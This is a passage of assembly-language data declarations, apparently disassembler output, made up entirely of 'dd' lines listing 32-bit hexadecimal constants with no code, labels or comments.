		dd 346C6324h, 1E2409F0h, 0DB0ED506h, 0D92ADF15h, 0C0FED161h
		dd 3D0AF3C6h, 4B87CC9Dh, 81C450DEh, 29B3B8B6h, 4F2E5A2Ch
		dd 62EDCD5Dh, 1EB40321h, 0F047BAFAh, 0A0574A9Bh, 0AACD6A14h
		dd 2B4E9FE4h, 16719875h, 0BC6EFB5Dh, 0A32E77DBh, 5481D56Ch
		dd 51E91CF5h, 0E17F6FA3h, 28C86874h, 0E7847678h, 367D49C7h
		dd 48E789BDh, 332EAAFBh, 0BE60B4A6h, 0EE7B4CBFh, 91227D16h
		dd 30A0E2C7h, 8F6FFC5Ch, 0A1FE6B01h, 28E8F886h,	0E522C9B0h
		dd 6DBCF1E3h, 0DE9661D2h, 1AA59B94h, 0BD30B625h, 11919C7Bh
		dd 8A91BFCBh, 0FE87F7A5h, 76777250h, 0D60DE91Eh, 151D0997h
		dd 68725CAAh, 489A1EDAh, 215FE8EBh, 5D9CC9DCh, 5B0F47BEh
		dd 0E9AA9970h, 7C5E2B6Eh, 0E06D29F5h, 1C4B79A3h, 82288D65h
		dd 4F9A3558h, 0F4B65A14h, 1632FEA8h, 0D7602587h, 0FF49F90Bh
		dd 0CCAF8871h, 0FA92930h, 9376CAF0h, 4B50DAE0h,	0D26B4F55h
		dd 4532A36Ch, 0B55E91D4h, 0E0C4010Eh, 92BA60E8h, 919F3F56h
		dd 0EE1EAA23h, 8D77B7EEh, 0CCC101Ah, 4B75F50Eh,	0D2E208DAh
		dd 0DFCDF101h, 0F6A31DD4h, 0F37D2BE8h, 816BD8FCh, 1CAA2017h
		dd 0F501F41Bh, 4B7FEBA9h, 36EDC809h, 92C6C7AEh,	2BD585C1h
		dd 7BB077F1h, 0D1A83998h, 0B8F98557h, 876E51ABh, 4CD57357h
		dd 0EAB4405Bh, 90001E88h, 5FD31ED3h, 0A83EA904h, 0E3135782h
		dd 1F622389h, 46B6B5C2h, 0D591D5B0h, 0A5C60230h, 2189DAB5h
		dd 0BEBC88A6h, 0CD031DA8h, 0ED0CB61Ch, 0A21C170Ch, 0DA91EF49h
		dd 73F2FB69h, 78B1652h,	0C55C29E9h, 0F315CDC0h,	0B5EE1411h
		dd 0DBA5AA39h, 1F167A77h, 0AE54F77Dh, 0DC03F51Fh, 95DBCB8Ah
		dd 0DAA329B6h, 9A1E37DFh, 0A18A2E04h, 2CF07A1Eh, 395AA96h
		dd 0D8EB6D76h, 73969F2Fh, 7ADB4811h, 0AE99E861h, 0A910CC52h
		dd 44D2AE25h, 0AC85550Bh, 0F6410918h, 7F3810F3h, 56DFF7ABh
		dd 796147D6h, 1E6C10Bh,	885CB68Bh, 55C6C4FCh, 0BEABF08h
		dd 5FA73A89h, 3FAA615h,	0D6F2C516h, 0A76DB25Ch,	927AD951h
		dd 4C4D0EC1h, 0C0E6675Fh, 3AFCEB55h, 0B915C757h, 0FB43EC92h
		dd 52F91D02h, 345C7096h, 9942D43Eh, 9C95EE76h, 0AC154C2Ch
		dd 2C14D7B7h, 3AED5575h, 0B54E9B78h, 9DEA3095h,	4BD06111h
		dd 905AA528h, 0E27B4E52h, 0ED182EB0h, 231575D4h, 0A9485940h
		dd 8678C0C4h, 7113F7A7h, 11AA6AC7h, 0CB222B90h,	0C00F8DCBh
		dd 9556909Ah, 97A8C273h, 34BAFE71h, 0DDA0B3C8h,	5C055F9Dh
		dd 7AFF779Fh, 372080E1h, 0CDC2A7EFh, 0DD2ACC9Bh, 0E0E98105h
		dd 84179D95h, 79623925h, 61C95096h, 0CBCE8635h,	46AB3594h
		dd 92E3D6A9h, 5E422767h, 1770F38Ch, 92AF9BEAh, 0D77F112Dh
		dd 0EF96ABEh, 34B1FAA1h, 9352B853h, 1199C701h, 0F273E39Ah
		dd 0BD5299DFh, 0F33EAC39h, 0C99CD40Ah, 0F2A9F437h, 0CF58E34Ch
		dd 977CE7D9h, 25862608h, 7083F8E0h, 1C9E524Bh, 2059007Fh
		dd 376F1A13h, 8AA9D52Eh, 0A004AC68h, 7B192B36h,	8C6E3D7Ch
		dd 84B41665h, 0A267F704h
		dd 4FE4B9E3h, 0BEFAA27Bh, 2F6F00B1h, 48EB198Dh,	866313E1h
		dd 6D864266h, 0A471231Ch, 599A5356h, 2B5105CAh,	6D172F61h
		dd 0A38AC20h, 696E09D8h, 97C1DFBCh, 64DE2DFh, 0F522217Fh
		dd 0C914386Ch, 5468044Fh, 293EE205h, 441FDADFh,	9DF85BC5h
		dd 0DAD82101h, 0A1D36849h, 2217FA16h, 481E119Eh, 0BD74732Eh
		dd 0A45FEFCCh, 30CB658h, 73B8D488h, 3909F94Eh, 96F6529Fh
		dd 0F221B732h, 0B542A1F0h, 439C9F7Fh, 19CF3F8Eh, 1E38EB2Eh
		dd 0D4058EEh, 10F70761h, 29875ECDh, 8A6CF30Bh, 0A9D47E48h
		dd 0FC52FE49h, 5D1E2D1Eh, 8488BFEBh, 0EB0CEE9Ah, 0B0C29A43h
		dd 92D261C0h, 9DA9DC41h, 9B69F492h, 50C0E449h, 9F6BEC71h
		dd 0A0A831Ch, 0ACD9D6AAh, 0E824F5A9h, 8B0503A5h, 81AB5C99h
		dd 616192ABh, 2EFE68BBh, 8E6C8233h, 615B202h, 0D3AB700h
		dd 0D340AA3h, 6860FE53h, 0DF479317h, 739BF60Eh,	0B24E2D4Dh
		dd 3F6B2BEEh, 0A25241ABh, 0E4C1C7FDh, 0D765CD60h, 0F514117Eh
		dd 3AB06A60h, 0C274B412h, 45AF2A0Bh, 0C1F59DA8h, 6CBF616Ch
		dd 0C565E31Ch, 0F0614543h, 47E87092h, 5130902Ah, 0ED815CEEh
		dd 0A464BBEDh, 0BDBA0E21h, 836DBA7Ah, 41987D12h, 0BE870C26h
		dd 8B96A2ACh, 80E428B3h, 0A6DE9628h, 0E59EDDE7h, 0E4EA067Fh
		dd 9BA8237h, 0F16B0C47h, 2FC06981h, 0CCCB2C3Bh,	369BB9D4h
		dd 0A51CFF3Fh, 0DCD1F412h, 5E8D6B7Ah, 0BD3EF62Ch, 0E0E7D73Bh
		dd 1AB995F3h, 2FB6847Ah, 3BD855C1h, 856F1156h, 60F388B9h
		dd 5469E5FDh, 0BE58176Eh, 64862AC1h, 13E4BC31h,	8EA40EF7h
		dd 0CD0FF447h, 9DF6E9CDh, 1609D513h, 4F1DBC7Ah,	6D41DED4h
		dd 1F8A4A6Ch, 0BCC9CB6Ch, 7651BF27h, 0C21C4A28h, 8DBDAC3h
		dd 0A120B73Dh, 43B37B9Ch, 0CBD74916h, 0B97F2199h, 0B6BBC97Eh
		dd 7353AAB4h, 0A41119D8h, 23D718FAh, 1F572AFAh,	1FFEFD5Fh
		dd 19186758h, 94377B72h, 0C6A5BC52h, 0E490A7B6h, 22D241CCh
		dd 0E60F831Eh, 494334D7h, 761DCCFCh, 2B461A18h,	0AD5A10D6h
		dd 5DB28ECh, 604DF2ADh,	208A46F4h, 0CA7993B1h, 0B47187D3h
		dd 32D0A8B7h, 11D74B89h, 33A1B137h, 0F3EB1295h,	1365D5E0h
		dd 8832062h, 1702C1A7h,	0F40FA0AFh, 5F1219E5h, 1C843D27h
		dd 0DAF17383h, 0B2B16258h, 3E8BE0EEh, 6038FDDEh, 0C030532Ah
		dd 19D20EF1h, 8BE215CCh, 74A8937Dh, 8FEAC74h, 0CEE9E5B0h
		dd 0E6A88109h, 2DCFB933h, 6D97F078h, 8968DC2Bh,	844C3A60h
		dd 8F793998h, 0CBE9900Bh, 8761B73h, 13F49474h, 8D808C4Fh
		dd 0C152AE91h, 0F6B43367h, 0EFFC8EDEh, 98E6852h, 6067A42Ch
		dd 7A2AB9B6h, 1304E67h,	8CDCAB1Ah, 253CC3B4h, 0A389946Ah
		dd 0F5C8AC5Fh, 823331F2h, 0CEA37999h, 9438C307h, 737138C8h
		dd 347B5596h, 0EC4B946Ch, 38DFF49Eh, 0C6CDDE5Dh, 282D9902h
		dd 0E7373C19h, 6EA76D2Fh, 0DD4661ABh, 0D8893F1Ch, 0CCD7CF6Dh
		dd 368CFD31h, 9DB9E422h, 0B4B26396h, 2E8E1E31h,	2C532BD3h
		dd 5BCB0F82h, 643EA0EEh, 9EA28E43h, 0B6F37D2Ch,	0B336CCE1h
		dd 27329B8Eh, 0FC07AC07h, 837AA2ECh, 1A42C824h,	45AAA3FAh
		dd 552A6A69h, 0DA312BE1h, 0A8D3990Bh, 0B09B323Ch, 0A28BCB7Dh
		dd 0F79E31C0h, 0A2247D9Ah, 0D8C49447h, 97966648h, 0AA71F39h
		dd 0CB068D2Fh, 15433598h, 6E85BBEBh, 6DB0EE02h,	0D0972994h
		dd 83E50509h, 0F6FEA77h, 578F7A9Dh, 56557F54h, 964ECE40h
		dd 4D4397F7h, 0B794A920h, 9AA4DA43h, 860FACB4h,	0AC4721ACh
		dd 0D42388F2h, 24553616h, 0CF45AB20h, 79D0DF02h, 0E993C758h
		dd 0ED4F71E9h, 0EAA7F8F9h, 0BE6CA499h, 0A3F0D217h, 336E58C6h
		dd 8A140C2Eh, 9FD35916h, 0A80A075Eh, 6EB60CC5h,	181FB878h
		dd 0AF05B6F4h, 80FEA5DEh, 8F7309BEh, 614E9EC7h,	0F4B1A6B0h
		dd 0C27172E6h, 25477F54h, 723230F7h, 9BB4C813h,	6BEB7E16h
		dd 262FEDBEh, 926B2141h, 6C44545Ch, 233E6206h, 0A9D4A47Ah
		dd 0A1E7E0E1h, 56CCB5Ch, 69D1B126h, 1D1DCE2h, 9310F429h
		dd 0E2FEB185h, 0BE8B1143h, 35B8BDE5h, 4B140BA6h, 0CE6E1A83h
		dd 669BE4FFh, 48CCD75Ah, 67B10C07h, 0F0D1A78Bh,	9301DA6Dh
		dd 91926B2h, 6DFB81F3h,	317AFF81h, 0C634FA06h, 2197F034h
		dd 2DE10F90h, 73051A4Dh, 5A5A9E0Bh, 0A08EBF36h,	289C0171h
		dd 461B807Ch, 9A1808A2h, 518AA759h, 1F192B19h, 6BB9AAE7h
		dd 0DD4F36F9h, 0B27A6622h, 0E9F228D0h, 9F65F9C5h, 4E17F2B4h
		dd 9B59F256h, 61407797h, 10267479h, 4C0E6E34h, 0CDD2859Bh
		dd 35C76471h, 0B96BF946h, 0B45B9CBBh, 0DA0D2901h, 0F0FDF015h
		dd 0C89F14F2h, 842789F4h, 0F0EF60E0h, 9AE61A86h, 1CFE5FF6h
		dd 45070946h, 6436A139h, 8A987152h, 635B3316h, 0A4278309h
		dd 24DB74CFh, 0DACB0706h, 0ED0EFC62h, 0C4CE4DE1h, 0E76C85E7h
		dd 56C1B010h, 41056A57h, 5676165Bh, 0D17C4CAAh,	39E4D716h
		dd 0B3599D6h, 5B09A67Bh, 5AB710DAh, 0DCE98C66h,	8900F265h
		dd 1FAE5C7Fh, 0FA5A642Bh, 6B95075Eh, 74765B5h, 0A2AD11BAh
		dd 981ADF0h, 423D57BFh,	0B06CB26Ah, 4246067Bh, 3FA27369h
		dd 6234AF78h, 9FABF0F0h, 869D8560h, 7238655Ch, 5A197D1Fh
		dd 5628D553h, 0B1AE1C0Dh, 43812E9Ah, 0B192E9AAh, 0CA7C9E4Eh
		dd 0BC8ACC34h, 4616C6A5h, 0AE8DB003h, 0B786B7EEh, 0D40988E6h
		dd 1228107Fh, 67FBE5E7h, 0BA9A0752h, 6922E6DCh,	9E7C97D4h
		dd 78892E3Dh, 0B27B8F9h, 0D5FCDF2Ch, 96BE6F5h, 62C1FB27h
		dd 32D216C0h, 82EBF39h,	0BBC3ECBCh, 210C56ABh, 385CC36Fh
		dd 0BED73312h, 5833C335h, 0BAE7D3B5h, 0B6419AA8h, 6CA013D0h
		dd 51D5B444h, 0CB0424Dh, 8ECC1435h, 0E8006070h,	0EAA05167h
		dd 0FB9761B0h, 0F0B137Dh, 74F9CAD4h, 6F32D8D4h,	4438DD80h
		dd 0B6EFD4DDh, 550EAEF4h, 0B9EA0B78h, 0C23F0A12h, 819B0212h
		dd 1A8AFC5h, 43C627F7h,	322E695h, 54C6E14h, 80D73E33h
		dd 8EFD01C2h, 0EF694A9h, 0ECA44664h, 1C95AB84h,	2D9FB267h
		dd 0E35F9CE7h, 0EBE995D9h, 1414A71Fh, 89617D5Fh, 63EE6682h
		dd 55D485E3h, 0FAA442E0h, 5589BFCFh, 0FBD37A48h, 517261C5h
		dd 0FA819B52h, 433D8619h, 85A78F76h, 91C0F30h, 8AEA6755h
		dd 0FDB4880Ah, 0BFAFC202h, 2D8BE5CEh, 0A070D11Bh, 0A2CC237Dh
		dd 0D20BF63Dh, 29DCC1CCh, 8D04523Ch, 6F1436E9h,	8AFF4474h
		dd 0AD1FA406h, 0AF9966DBh, 0B6273241h, 8C68D162h, 6B85F3CDh
		dd 0FC7C99B1h, 0EE303497h, 3402F2BDh, 95132773h, 0B898DD53h
		dd 28179AE2h, 8E79D63Fh, 0F928E13Dh, 0B6F42BAh,	1ED5C908h
		dd 980180C7h, 4D231320h, 863457D0h, 0EAE735B5h,	3C0FCFE4h
		dd 7CEC33BAh, 6EF5C9C5h, 76957AF9h, 3ED1DDA4h, 52B1F8EEh
		dd 0B2225159h, 0C403542Bh, 56D25F16h, 702F4D66h, 874E6128h
		dd 53BDC36Ch, 4A0A0E60h, 3BBD69B3h, 0E92AEACh, 34002A8Bh
		dd 0A4AA81DDh, 9319657Fh, 4DED9845h, 33F1A864h,	50D807B9h
		dd 0FD3792A6h, 757B3B0Fh, 35067E8Fh, 2B961DB8h,	0A5021217h
		dd 0A44BC4DEh, 31F7F7h,	339F7E4Eh, 4E63DA75h, 8A698B5Bh
		dd 2708B8A3h, 3E550C6Bh, 0F0B81256h, 1AAB9A3h, 9D7D0A1Fh
		dd 0F0E3FB5Bh, 4A43D405h, 71EA2189h, 0EB22110h,	7D2B33F7h
		dd 84CE0371h, 8DE9F684h, 7E2E5EA1h, 4FCCD431h, 0B74FFE96h
		dd 752B0DC0h, 8BCCA68h,	0C3F238A9h, 929AB47Bh, 9647EDF6h
		dd 0F79B009Ah, 482BB89Fh, 5F88196Dh, 29EFD96Dh,	41940791h
		dd 8E6D3F94h, 89D300BEh
		dd 3EE9B098h, 7232F329h, 0F8995A9h, 0B19D172h, 0C0A53FFCh
		dd 63ED294Bh, 804B2F40h, 0A72752A8h, 1C3F17ADh,	0B4E771F7h
		dd 0F97E383h, 71320E8Ch, 29A5BA07h, 0CAC27089h,	940C0ADh
		dd 0B252C5B8h, 0FDA44156h, 18B75ACh, 744D8125h,	0B0A8D66Ch
		dd 39FBB35Eh, 0DEC410DCh, 0DE2A4DBh, 556EB968h,	82853DA9h
		dd 485CBECFh, 40F0F870h, 1D43D0EEh, 6D7E3A28h, 333E8735h
		dd 3ED25ABEh, 5B4665ADh, 0FED8B010h, 9BE97637h,	8336AC5Dh
		dd 0ACF4E29Eh, 330E5A76h, 0CC34A18Dh, 77C3A632h, 7C8AAC17h
		dd 1317DFD0h, 24DA99FBh, 2C39A997h, 0DB016131h,	3A9F8506h
		dd 1E901445h, 9CCF8BC8h, 6EC1289Bh, 72D9311Ch, 816CD71Bh
		dd 0B8FF006Bh, 71A1C1E6h, 137B34CAh, 9EB5D1F3h,	1457F530h
		dd 8EA4A4BFh, 0FDD66AD8h, 9ACB599Dh, 62DDE783h,	3F35BAD8h
		dd 5873F94Ah, 0A6107BEh, 2A23D12h, 0A231F3CAh, 0C22697E3h
		dd 0F5CFDE07h, 134EA446h, 17C1E5A5h, 7309DDDFh,	5B1FCC2Ch
		dd 312F9219h, 0C910046Ch, 163895B4h, 6517F65Dh,	4D15461Dh
		dd 0FDD369AAh, 0D6EA48Dh, 8BAEF7E5h, 0BADF131Ch, 2DF48015h
		dd 0B32F30E2h, 8955F4FAh, 0B51BD3C1h, 41CED508h, 2366E796h
		dd 7879144Bh, 25DD6610h, 38CA38D5h, 4D7C09CDh, 139D5FCCh
		dd 7AE11D79h, 0C8E55C72h, 3FB9F5A7h, 4AF9EE71h,	0F07B8DABh
		dd 4C3387F4h, 1DC701D6h, 2972BEDCh, 1BBCCEA1h, 888942D4h
		dd 328B0B7Ah, 0C1D825CAh, 0B54CBDECh, 0F49B26F8h, 4C1C380Ch
		dd 967100B5h, 92E9F3BAh, 840A8502h, 1C51BC2Ch, 727E2E19h
		dd 0EE96E059h, 0FAF4DA91h, 900FC5D1h, 0C6A181FDh, 23005353h
		dd 6D2E316Ch, 6A72475Ch, 942125C8h, 0BA263003h,	8A42EE1Bh
		dd 5DFBCB1Bh, 0F8FFA3EDh, 0D7E65A93h, 5261D37h,	87078F36h
		dd 713F8AA6h, 8D91BFA7h, 60AA6805h, 15A216C7h, 0DD44674Dh
		dd 0AB553A60h, 60BF3D90h, 0BF8B8FD0h, 385965E0h, 16B52B01h
		dd 3FE77F36h, 6C23A190h, 971AE34Fh, 2B860B65h, 0DF402938h
		dd 0FEEDDBF9h, 77F23DDh, 0BA020489h, 0A3E7441Fh, 5C2DFD57h
		dd 0A613ACA6h, 597D6802h, 0F8DE4F15h, 0F5DD5554h, 82E21C14h
		dd 0A57CB449h, 48EACEDFh, 2395C358h, 685CE667h,	0E4609A73h
		dd 0FE4B59DCh, 0F5984289h, 0D816B314h, 521C7E42h, 3638C08Bh
		dd 39219BEEh, 0F4923F0h, 8811CF6Bh, 3E56F563h, 0E784C475h
		dd 13FA3E79h, 512F7011h, 45D859C9h, 88D4CF76h, 651EAE84h
		dd 12AA885h, 0B46878CEh, 0C374EF9Eh, 0B404A01Dh, 2B03DFAAh
		dd 9C929C78h, 25D93B2Fh, 3A7C2D5Fh, 76DF07A8h, 61301E52h
		dd 2AF83315h, 87B0ED70h, 0A0CA82ECh, 0A2A57C3Bh, 888CDC0Fh
		dd 0DBDA4817h, 1529210Fh, 80388B2Ch, 0ADD69C6h,	512C8534h
		dd 0D3DAEC09h, 27C082E1h, 40A8D347h, 53166738h,	0E9AA4E20h
		dd 38FBFE80h, 1F988A87h, 0D536E8D7h, 9A3E201Dh,	0FB0D87A6h
		dd 0CEBF7898h, 50AA3A5Eh, 0A204C7B4h, 43E5EB20h, 2B9D122Fh
		dd 7DCA3CD9h, 165C85E0h, 336309F4h, 3E1FA941h, 77D92C3Fh
		dd 0E66BF54Ch, 3B5444A1h, 981A82C4h, 0E9257BC1h, 74D5DD09h
		dd 0DCD7500Eh, 334A4548h, 0EF8F32B2h, 0B21EEC94h, 4175767Fh
		dd 968A95E8h, 28C2769Dh, 705D49CCh, 60EA97DDh, 0A19044F5h
		dd 2B25235h, 96036C51h,	2F710840h, 3081A983h, 49E0F85Fh
		dd 84504404h, 0ED549A1Bh, 0E17081AFh, 0BA82BC76h, 0F8AF2CC0h
		dd 0CEB5CD0h, 4EFDD0CBh, 8C196B6Eh, 4957E196h, 6F1A1D87h
		dd 0D201B1D9h, 6723B64Eh, 434F9EBAh, 0B84E2234h, 9346B872h
		dd 48C9835Dh, 58CE5044h, 8D6D6F30h, 60D7E046h, 0A6AAA49h
		dd 33725B2Eh, 663178D9h, 117C3009h, 3E7A9BE4h, 62C60286h
		dd 0B0085BCAh, 0AB7504B6h, 0DDAA307Bh, 0C0780D22h, 0AA602286h
		dd 0FD10CDDCh, 4F5C086Fh, 96145980h, 0D3038E61h, 0CA9E644Dh
		dd 0C3466250h, 33526256h, 0CCFD2433h, 0D994E77Fh, 787CBAE8h
		dd 0D20012F7h, 0C32AFECCh, 27575EBBh, 0BEA1BFE5h, 47A1F2E3h
		dd 6ADC1160h, 6B36C2B8h, 0EBBAFE74h, 0A68D7A2h,	3E64B002h
		dd 3A71FF1Fh, 0B5ED130h, 6B401806h, 4A5760DBh, 31588BE1h
		dd 11457657h, 72A86DD8h, 553B264Ah, 60D9DD53h, 2362A622h
		dd 0C39D8C24h, 45509DF2h, 517A9C80h, 4D7501ADh,	51DFC689h
		dd 0DE0D2A26h, 0F6A58A2Dh, 0CFCDB56h, 5C9B4891h, 0C1716E70h
		dd 72DFF6B9h, 994E7207h, 0E30FC9C4h, 0A2054922h, 0D41B0711h
		dd 333B9469h, 70281C09h, 2B3F633h, 0E0D6157Bh, 0C73E9863h
		dd 414F7477h, 16E5C908h, 2EDA4B2Eh, 0DCA3A05h, 59CC772Ah
		dd 9C4F3C3Eh, 0E53F2E91h, 0E122D163h, 81598E57h, 5F96FEFFh
		dd 0F0630FF0h, 64620B7Ah, 25DBF917h, 0E589B0F1h, 1C93998Fh
		dd 2652EA42h, 7ADECE94h, 674E6FA4h, 0FBA34955h,	479A5390h
		dd 0AB8E88AEh, 4A98C59Dh, 560C1A13h, 0B2BEA575h, 42BFC937h
		dd 723AADBFh, 5FA7D916h, 0B4E7FE8Ch, 537F54ADh,	0BE4D968Dh
		dd 0E0725D78h, 9ED65768h, 8F10194Ah, 0DF4A64F8h, 0C0CA4D49h
		dd 1AD2F038h, 0A02ADD17h, 2801D60Dh, 0CB8819BAh, 0D8B0E890h
		dd 0E4BBE8A4h, 0A8FCE782h, 0AE82AF70h, 2D5835D3h, 33F36B67h
		dd 0A91343BFh, 0E65A27C0h, 7030098h, 0AE05452Fh, 46600673h
		dd 954A7DBBh, 30A2D4B7h, 9A17A6B3h, 0C4B37366h,	4BDF9AB9h
		dd 74BF7437h, 5FC8EA9Bh, 11973CDh, 6DC2B923h, 56375699h
		dd 7A53FD9Dh, 7AC8F7DAh, 4244E03Dh, 43F26DEEh, 0B830BE90h
		dd 0E216BA39h, 77F703F3h, 9496913Eh, 0B0E19A45h, 0D9699746h
		dd 518FDB22h, 835ED747h, 0ABE8A347h, 69BE6620h,	86531113h
		dd 471E05DFh, 8D71C1F0h, 0B2FCAD47h, 0C96CA5CEh, 57BF579Ah
		dd 0BCAB7A2Dh, 1B1FB793h, 3FC434ECh, 391FD05Ch,	9AF0A22h
		dd 0CC53FBFCh, 52515052h, 8BDF37F3h, 39FC02C2h,	1FA15CB4h
		dd 42AEE9A7h, 0B12DBE42h, 9721CD05h, 6FD586FBh,	0AF5D3BA7h
		dd 86AB4B35h, 9973DB23h, 713CC595h, 66878576h, 682A1E83h
		dd 0EF92BD3Ah, 0AF87AC0Eh, 0F6169C40h, 0FEB34F21h, 632C6198h
		dd 309BFA1h, 889E227Ah,	0CF8FF00Eh, 0F889A3B3h,	504B6BA2h
		dd 0E409DFEh, 360244C1h, 1DEFC7C7h, 423C9C2Eh, 0BF205AA6h
		dd 0A504D76h, 9CEF4A6Bh, 0EB2BAB89h, 78C6B071h,	27511C29h
		dd 0E7A619CDh, 7114E0B4h, 83C3A6Ah, 7C93A9E6h, 0DC0FBDE0h
		dd 0B4581BC0h, 4AC6AA5Ch, 615D09A6h, 7779210Ch,	896009D4h
		dd 813E6730h, 0C87FD5DAh, 3C092320h, 5B01A49h, 0EED33118h
		dd 0B9033E40h, 0E86F5202h, 8125C894h, 0AA9763D8h, 0A9BFC42Bh
		dd 0A6EE88D1h, 465FCF36h, 0D686EEB9h, 4C1679C7h, 6CE6FA71h
		dd 98460CFDh, 9945B3D5h, 0C4E8D033h, 611F6Dh, 90D8E6DCh
		dd 63057EA5h, 0B9B37587h, 8E970603h, 1E10FE1Eh,	4166C091h
		dd 6A761DDCh, 6AE4A22Eh, 64274A80h, 420AE230h, 50A79AA0h
		dd 6BD2DDE3h, 48F09547h, 0DE9E4376h, 0B375C422h, 9FB7E1B1h
		dd 21069887h, 5DD2C585h, 4E537A11h, 2979B08Ch, 0CE610FC6h
		dd 3F0EA3FDh, 0F6F2B2B8h, 32F97F22h, 6489142h, 0DD531409h
		dd 753B2A09h, 35F49654h, 4C9D91E6h, 0BFCF74EDh,	985FA01Ch
		dd 9F9B4A1Ch, 2483C752h, 47E255C2h, 9D199F0Bh, 474F744Dh
		dd 0DD057CDBh, 8725497Fh, 0EABBD4E1h, 0B0FEDB2Eh, 9FD2F077h
		dd 972EF460h, 0E47EF5C3h, 8B8B1978h, 64F528D8h,	772EE635h
		dd 89D0ADB3h, 9498BF05h, 1FF5A0B2h, 0CCAA3419h,	8C51FD09h
		dd 5EF230E5h, 0BF8E6DB0h
		dd 43B4ED56h, 0F5E23088h, 82D9C3C7h, 28E4EFBDh,	11DB494Ah
		dd 0BE906965h, 665AD09Ch, 0CC5B1D3Fh, 0D59FBADDh, 9F6358CEh
		dd 9DF1F576h, 7CCE57F5h, 18988485h, 0A96C4B2Eh,	0AD06A514h
		dd 55CE2507h, 0C288EBDFh, 7F6AE690h, 178B6EDBh,	32C5B492h
		dd 84FE724Eh, 0B10AD1CCh, 36203539h, 0EDDAEB04h, 784E8A1Dh
		dd 4C41BCBDh, 3F68DB08h, 0AAA7A402h, 2053653Bh,	0E8D39C2Eh
		dd 0FFF8C7F7h, 5AD64BCh, 48BB0F9Ah, 96195918h, 0F8B6A99Dh
		dd 0E4CB17B7h, 0AFDEC032h, 68127B73h, 0CC9F89A0h, 0FB527118h
		dd 140E9C7h, 297B07ECh,	16406167h, 7ABCFBFEh, 988A5BE1h
		dd 0AEE95C68h, 0AE978F59h, 2016CACEh, 0B7399D3Ch, 5A8C370Ah
		dd 77783086h, 51C2E649h, 0FE6B027Bh, 0AC22D2D3h, 87A3A480h
		dd 0CA9DDFC2h, 0A325E6E8h, 0A0E683CCh, 190C8D0Bh, 39752D71h
		dd 8195D73Dh, 5FA67A16h, 2C2C0F24h, 8F0740E2h, 0B24AE249h
		dd 306947F1h, 4460A8C6h, 0A41AAB36h, 94B11828h,	70128585h
		dd 6946B0D5h, 0A9905A3Eh, 6BF0D81Ch, 34576020h,	6E63457Eh
		dd 0A09C3B96h, 627BD5Dh, 4D51E870h, 44F0D50Bh, 54123F02h
		dd 398CD81Eh, 6A071985h, 5F820196h, 0AA14B779h,	0F5566FE2h
		dd 8C6564D5h, 65B11D42h, 24980206h, 804D7E26h, 0FAF72E1Dh
		dd 0EF917C00h, 18985D65h, 200EDB7Dh, 3D40B131h,	0F40AE478h
		dd 1D186372h, 88C2B63Fh, 32A8C589h, 56B4AC1h, 0C0776F20h
		dd 0CAF318EBh, 7220BD4Ah, 0E771BB0Ah, 0CDB78C82h, 0C868F0C2h
		dd 0CA437D6h, 0B464F9EFh, 0E3B47532h, 36D9EE7Dh, 62846954h
		dd 6A18350Bh, 6AAFD00Eh, 48FFF962h, 0CCE107F1h,	19C272C9h
		dd 91B0F7FFh, 0A9C2B688h, 0F0A34854h, 98A83DA6h, 7EFE7CF1h
		dd 980726Fh, 9D2F6BE4h,	0E739279Ah, 6D8DA867h, 289ABD0h
		dd 0E6FAB22Fh, 86937C49h, 54F03D2Ah, 0F12F7AB7h, 0C749AF53h
		dd 0ECA17F2Ch, 5C101E6Eh, 6DDF6219h, 9231D452h,	9CD713E8h
		dd 74549D06h, 4FB624CCh, 64642954h, 8AB33BD3h, 0B932AD24h
		dd 8F4B7217h, 0E4095D33h, 0D32360CAh, 39CBD9F1h, 2437761Fh
		dd 2DD2C90Ch, 0E8CC6246h, 35F182EDh, 29783472h,	116BCFB5h
		dd 38F7EE77h, 988E93A2h, 5226A60Dh, 1ADF5DA2h, 4C790728h
		dd 63061E1h, 0F2515D8Ah, 6346B289h, 1703CA8h, 0BCF81B7Eh
		dd 0D3AAE67Ch, 0AC7CD2A4h, 0A278C398h, 0FADEF046h, 97AFE4E1h
		dd 505BF1E4h, 0DCB72EFFh, 21ECC7ABh, 7C5880A7h,	0A07C19E0h
		dd 0ECB35306h, 11C7138h, 0A6534EB9h, 0C5F7D663h, 0DC73A1F0h
		dd 506CAFF3h, 169160C7h, 0FBF618E0h, 0CF762D9Ch, 4C9DBDB5h
		dd 0F0139871h, 0DCF05C68h, 2FBE95A2h, 44CB11CAh, 972092CAh
		dd 18B66537h, 0F109623Fh, 7AB2C87Bh, 3F853CDEh,	369EE274h
		dd 5B769DF1h, 0AEB74D28h, 9A09EA83h, 19BF0B2Ah,	0CB25BEBCh
		dd 0B731BADBh, 3BB08905h, 6770D5FDh, 32D2BB80h,	6270E357h
		dd 101387FFh, 608C160h,	1227A839h, 8B6A8414h, 0A8498238h
		dd 7369A8E3h, 0A0F8B70Ah, 0AD778DB6h, 875AFBBEh, 3FF2702Ah
		dd 70DED49Fh, 4B22E3EFh, 0DD207A5Ah, 58D018BAh,	0C3B4CCEBh
		dd 5083F1D8h, 2A5B7459h, 6A8603Eh, 1932EF4Ah, 12E5A71Bh
		dd 0CC2ABD7Ah, 0B504EAE7h, 63540849h, 0FCF2ADAEh, 5368EFFCh
		dd 68D2CFD6h, 3C6A4A73h, 0A633936Eh, 5F26169Bh,	2446E75Bh
		dd 0F90AF0DAh, 83BC9069h, 22E0ED48h, 0F74B1905h, 8A978FAh
		dd 0FEB315FFh, 8C364976h, 0EBFA574h, 774B6A83h,	6CCA5390h
		dd 343728D3h, 8ED0B94Eh, 0E16F9D8Ah, 0AC3B625Bh, 0EE78F00Eh
		dd 7F343A39h, 0E72F92D3h, 0E3B03406h, 90A23DDBh, 29BB4A59h
		dd 5B9674B2h, 58439015h, 8873F949h, 473AD73Ch, 8F530C47h
		dd 61733AC5h, 0D8EF505h, 9434A89Fh, 669E21DBh, 0CEC52C2h
		dd 841E0A33h, 7495E170h, 9F4CB89Dh, 0E6BCACC8h,	24BBF8D5h
		dd 0F66466F6h, 0AC9E92ADh, 3CEA2E80h, 29B2A860h, 0B440675Dh
		dd 0F3375F03h, 0D2DB9310h, 0A4CCE36Ah, 6E8F478Bh, 8CB91181h
		dd 484E64B8h, 165E0BAEh, 1F7526D9h, 13BFDEFCh, 2B44DD57h
		dd 690D8BBFh, 0C6D2DF91h, 0E2DC7C59h, 0C7854265h, 0C86D08B9h
		dd 77DFF0D2h, 0F7409BB7h, 488950EDh, 65029049h,	0FDE25A01h
		dd 0C53CA962h, 0F7CEA89Dh, 0D9929CCBh, 7E7337E8h, 3D03CE4Ch
